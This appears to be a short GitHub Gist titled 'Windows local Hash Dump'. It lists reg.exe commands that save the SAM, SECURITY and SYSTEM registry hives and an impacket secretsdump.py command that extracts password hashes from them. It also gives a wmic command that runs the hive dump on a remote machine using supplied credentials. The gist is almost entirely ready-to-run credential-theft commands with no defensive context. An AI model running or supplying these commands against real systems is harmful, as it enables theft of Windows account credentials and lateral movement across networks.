Last active
December 8, 2023 21:53
-
-
Save sh1n0b1/8972807 to your computer and use it in GitHub Desktop.
Windows local Hash Dump
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
reg.exe save hklm\sam c:\temp\sam.save | |
reg.exe save hklm\security c:\temp\security.save | |
reg.exe save hklm\system c:\temp\system.save | |
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL | |
#https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py | |
#Do this remotely | |
wmic /node:"<computer_name>" /user:"<username>" /password:"<password>" process call create "cmd.exe /c reg save hklm\sam C:\temp\sam.save" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment